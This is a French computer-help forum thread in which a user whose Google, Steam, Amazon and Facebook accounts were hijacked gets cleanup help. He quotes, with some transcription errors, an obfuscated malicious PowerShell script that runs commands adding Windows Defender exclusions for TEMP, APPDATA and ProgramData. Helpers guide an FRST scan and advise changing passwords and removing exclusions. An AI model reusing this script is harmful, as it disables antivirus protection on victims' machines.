Infection par Trojan et script PowerShell

[PierreM]

Bonjour,
J'ai téléchargé par mégarde un fichier qui contenait un virus et j'ai trouvé un fichier PowerShell que j'ai ouvert en mode sans échec. Il contenait le code suivant: $m3x8yk2j5q7="Add-MpPreference -ExclusionPath ";$a1k9zs7d6fh-[System. Text. Encoding]: :ASCII.GetBytes ("UniqueString1");
Sw2fh6zk319jy-($m3x8yk2j5q7+"$env: TEMP'");$p91k7zd5j3x-[System.Text. Encoding]: :ASCII.GetString($a1k9zs7d6fh); $v4jk8x712fh=($m3x8yk2j5q7+"$env: APPDATA'");$b0z16kj8x3d-New-Object System. Text.ASCIIEncoding;$x5jh9y2k7zl-($m3x8yk2j5q7+"*C:
(ProgramData'");$n7fh5x2j81k=$b0z16kj8x3d.GetBytes ("UniqueString2"); lex Sw2fh6zk319fy;Lex $v4jk8x712fh;iex $x5jh9y2k7z1; $j3yk9z17f5h-[System.Diagnostics.Process]: :GetCurrentProcess().CloseMainWindow();$c6zk8fj2y19
-[System. Text. Encoding]: :UTF8. GetString($n7fh5x2j81k)


J'ai supprimé le fichier mais je doute que ce soit suffisant.
Je me suis donc fait pirater mon compte Google, mon compte Steam, mon compte Amazon, mon compte facebook, et plusieurs tentatives de paiements (ratés) ont étés tentés par le biais de ma carte bancaire.
Je ne sais pas quoi faire de plus.
J'ai fait plusieurs analyses avec Windows Defender, Malwarebytes Anti-Malware (MBAM)... et plus rien n'apparait depuis.
Pourriez-vous m'aider?
Merci d'avance.
Pierre M.

[Parisien_entraide]

Bonsoir

Suivant le type de malwares, les analyses "peuvent" trouver un trojan, un stealer etc mais cela laisse en place une tache programmée via un script en powershell (par ex et pas que)

Donc il faut analyser :

La procédure de Malekal
__________________
Suis le tutoriel FRST. ( prends le temps de lire attentivement - tout y est bien expliqué ).

Attendre la fin du scan, un message indique que l'analyse est terminée.
Télécharge et lance le scan FRST,

Trois rapports FRST seront générés :
* FRST.txt
* Shortcut
* Additionnal.txt



Envoie ces 3 rapports sur le site https://pjjoint.malekal.com/ et en retour donne les 3 liens pjjoint qui mènent aux rapports ici dans une nouvelle réponse afin que l'on puisse les consulter.
Tu peux aussi attacher les fichiers de rapports FRST dans une nouvelle réponse avec l'éditeur avancé.



Ensuite en bas pièce-jointe.



(Les liens bleus mènent à des tutoriels explicatifs pas à pas, clic dessus pour avoir les instructions plus précises à suivre).

NOTE : tu peux aussi envoyer les rapports sur https://pjjoint.malekal.com et donner les liens en retour.



IMPORTANT : Une fois les rapports crées, n'installe pas de programmes, n'efface rien, ne prends pas d’initiatives, parce que tu "penses que", que "tu crois que " etc. Bref tu ne touches plus à rien

[PierreM]

Merci beaucoup,
Je te joins les documents ci-dessous.

[Malekal_morte]

Salut,

Le Trojan PowerShell était dans le répertoire TEMP.

Date: 2024-12-10 18:34:39
Description:
Antivirus Microsoft Defender a détecté un logiciel malveillant ou potentiellement indésirable.
Nom : Trojan:Script/Casdet!rfn
ID : 2147903875
Gravité : Grave
Catégorie : Cheval de Troie
Chemin : file:_C:\Users\Pierre\AppData\Local\Temp\DKPV2HFGRWZNMVUSPYWQ.ps1
Origine de la détection : Ordinateur local
Type de détection : Concret
Source de détection : Utilisateur
Utilisateur : DESKTOP-NFN43NG\Pierre
Nom du processus : Unknown
Version de la veille de sécurité : AV: 1.421.719.0, AS: 1.421.719.0, NIS: 1.421.719.0
Version du moteur : AM: 1.1.24090.11, NIS: 1.1.24090.11\00

Ca semble bon.

Attention aux extension de VPN Gratuits sur Chrome, elles peuvent pomper des données.
Donc pour moi c'est bon.


Supprime C:\FRST et ses restes.

A lire : que faire après une attaque de virus informatique.
Change tes mots de passe et assure toi que Windows Defender fonctionne correctement (protections activées et qu'il n'y a pas d'exceptions ajoutées).

Pour éviter les virus, il faut savoir comment les pirates s'y prennent pour infecter les ordinateurs : Comment les virus informatiques sont distribués
Enfin pour protéger ton PC : Comment protéger son PC des virus et des pirates ?